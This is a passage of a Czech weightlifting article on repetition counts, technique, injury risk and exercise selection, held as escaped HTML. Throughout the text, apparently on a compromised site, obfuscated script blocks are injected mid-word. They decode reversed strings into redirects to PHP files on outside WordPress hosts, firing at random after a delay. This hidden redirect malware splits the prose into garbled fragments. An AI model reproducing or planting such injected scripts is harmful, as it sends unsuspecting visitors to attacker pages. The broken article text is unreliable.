$Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, zda bude prvn\u00ed nebo dvac\u00e1t\u00e9. Samoz\u0159ejm\u011b s\u00a0nar\u016fstaj\u00edc\u00edm po\u010dtem opakov\u00e1n\u00ed v\u00a0s\u00e9rii se zvy\u0161uje riziko chyby a t\u00edm i zran\u011bn\u00ed.<\/p>\n<p>Co si z\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho odn\u00e9st?<\/p>\n<p><strong>V\u0161echna opakov\u00e1n\u00ed byste m\u011bli prov\u00e9st technicky spr\u00e1vn\u011b. <\/strong><\/p>\n<p>A plat\u00ed tak\u00e9, \u017ee s\u00e9rie o velmi n\u00edzk\u00e9m po\u010dtu opakov\u00e1n\u00ed pat\u0159\u00ed do arzen\u00e1lu zku\u0161en\u00fdch spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f. Z\u00a0hlediska zran\u011bn\u00ed jsou <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e rizikov\u011bj\u0161\u00ed. Vzhledem k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, \u017ee jde o s\u00e9rie prov\u00e1d\u011bn\u00e9 s\u00a0vysokou z\u00e1t\u011b\u017e\u00ed, zat\u011b\u017euj\u00ed klouby, svaly i pojivov\u00e9 tk\u00e1n\u011b. Jen byste nem\u011bli propadnout myln\u00e9mu dojmu, \u017ee chyba v\u00a0technice se p\u0159i s\u00e9rii o vysok\u00e9m po\u010dtu opakov\u00e1n\u00ed ztrat\u00ed. Striktn\u00ed proveden\u00ed je vstupenkou k\u00a0\u00fasp\u011bchu za v\u0161ech okolnost\u00ed.<\/p>\n<p><strong>Je d\u016fle\u017eit\u00e9 vysledovat, jestli nab\u00edr\u00e1te svaly sp\u00ed\u0161e v\u00a0s\u00e9ri\u00edch o deseti a v\u00edce opakov\u00e1n\u00edch, p\u0159\u00edpadn\u011b v\u00e1m l\u00e9pe sed\u00ed s\u00e9rie do deseti opakov\u00e1n\u00ed. Nav\u00edc <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to m\u016f\u017ee b\u00fdt u ka\u017ed\u00e9ho cviku trochu jin\u00e9. <\/strong><\/p>\n<p>Tr\u00e9ninkov\u00fd den\u00edk, kam si budete v\u0161e zapisovat, v\u00e1m pom\u016f\u017ee s\u00a0odstupem dob\u0159e analyzovat situaci a nastavit podle <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho dal\u0161\u00ed cvi\u010debn\u00ed pl\u00e1n.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Existuje v\u00e1\u0161 ide\u00e1ln\u00ed po\u010det opakov\u00e1n\u00ed?<\/strong><\/p>\n<p>Jak budete postupn\u011b z\u00edsk\u00e1vat tr\u00e9ninkov\u00e9 zku\u0161enosti, d\u0159\u00edve nebo pozd\u011bji zjist\u00edte, \u017ee u ka\u017ed\u00e9ho cviku existuje f\u00e1ze, kdy se s\u00a0danou v\u00e1hou nebudete schopni dostat na vy\u0161\u0161\u00ed po\u010det opakov\u00e1n\u00ed t\u0159eba i n\u011bkolik t\u00fddn\u016f. Pak je na m\u00edst\u011b zm\u011bnit jin\u00fd fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor \u2013 t\u0159eba zv\u00fd\u0161it z\u00e1t\u011b\u017e.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Pozor na stereotypy<\/strong><\/p>\n<p>Sna\u017ete se nepodl\u00e9hat v\u0161eobecn\u011b roz\u0161\u00ed\u0159en\u00fdm n\u00e1zor\u016fm. Nap\u0159\u00edklad <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, \u017ee l\u00fdtka a b\u0159icho je t\u0159eba procvi\u010dit v\u00a0s\u00e9ri\u00edch o v\u00edce ne\u017e dvaceti opakov\u00e1n\u00edch. Klidn\u011b experimentujte i s\u00a0ni\u017e\u0161\u00edm po\u010dtem, dost mo\u017en\u00e1 zjist\u00edte, \u017ee je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pro v\u00e1s p\u0159\u00ednosn\u011bj\u0161\u00ed.<\/p>\n<p><strong>\u010c\u00edm m\u00e9n\u011b budete sami sebe \u0161katulkovat podle n\u011bjak\u00fdch obecn\u00fdch norem, t\u00edm sn\u00e1ze pozn\u00e1te svoje individu\u00e1ln\u00ed n\u00e1roky a budete schopni prov\u00e9st pot\u0159ebn\u00e9 modifikace.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>V\u00fdb\u011br cvik\u016f<\/strong><\/li>\n<\/ul>\n<p>Volte takov\u00e9 cviky, kter\u00e9 budete schopni prov\u00e1d\u011bt bezpe\u010dn\u011b a spr\u00e1vn\u011b v\u00a0dlouhodob\u00e9m horizontu.<\/p>\n<p>D\u00e1v\u00e1 smysl cviky pravideln\u011b obm\u011b\u0148ovat, ale v\u011bt\u0161inou spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016fm nesed\u00ed p\u0159\u00edli\u0161 \u010dast\u00e1 zm\u011bna, svaly obvykle pot\u0159ebuj\u00ed n\u011bjakou chv\u00edli k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu, aby na konkr\u00e9tn\u00ed podn\u011bt mohly adekv\u00e1tn\u011b reagovat.<\/p>\n<p>P\u0159i v\u00fdb\u011bru cvik\u016f do tr\u00e9ninku za\u010d\u00e1te\u010dn\u00edk\u016f m\u016f\u017eete postupovat dv\u011bma zp\u016fsoby:<\/p>\n<ul>\n<li>\u0159adit za sebou cviky podobn\u00e9, nap\u0159\u00edklad benchpress a tlaky s jednoru\u010dkami, d\u0159epy a mrtv\u00fd tah atd.,<\/li>\n<li>podobn\u00e9 cviky odd\u011blit do dvou r\u016fzn\u00fdch tr\u00e9nink\u016f \u2013 bench press za\u0159adit v\u00a0pond\u011bl\u00ed a tlaky s jednoru\u010dkami ve \u010dtvrtek, d\u0159epy v\u00a0pond\u011bl\u00ed, ale mrtv\u00fd tah ve \u010dtvrtek.<\/li>\n<\/ul>\n<p>V\u00a0p\u0159\u00edpad\u011b d\u0159ep\u016f a mrtv\u00e9ho tahu jednodu\u0161e postupujte podle sv\u00fdch individu\u00e1ln\u00edch mo\u017enost\u00ed. N\u011bkomu v\u00edce sed\u00ed, kdy\u017e za\u0159ad\u00ed oba cviky v\u00a0jednom tr\u00e9ninku, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee si m\u016f\u017ee dovolit zat\u00ed\u017eit doln\u00ed partii zad t\u00edm<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zp\u016fsobem. Jin\u00fd up\u0159ednostn\u00ed proveden\u00ed cvik\u016f odd\u011blen\u011b, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bude ohledupln\u011bj\u0161\u00ed pro jeho bedern\u00ed p\u00e1te\u0159.<\/p>\n<p>A kdy\u017e je \u0159e\u010d o t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u010d\u00e1sti zad, vy v\u0161ichni, kte\u0159\u00ed mus\u00edte riziko poran\u011bn\u00ed minimalizovat kv\u016fli st\u00e1vaj\u00edc\u00edm pot\u00ed\u017e\u00edm nebo t\u0159eba kv\u016fli prod\u011blan\u00e9mu zran\u011bn\u00ed, byste m\u011bli v\u011bd\u011bt, \u017ee bedra nejsou nam\u00e1han\u00e1 jen p\u0159i d\u0159epech a variant\u00e1ch mrtv\u00e9ho tahu. I tlaky nad hlavou nebo bench press, p\u0159i nich\u017e se 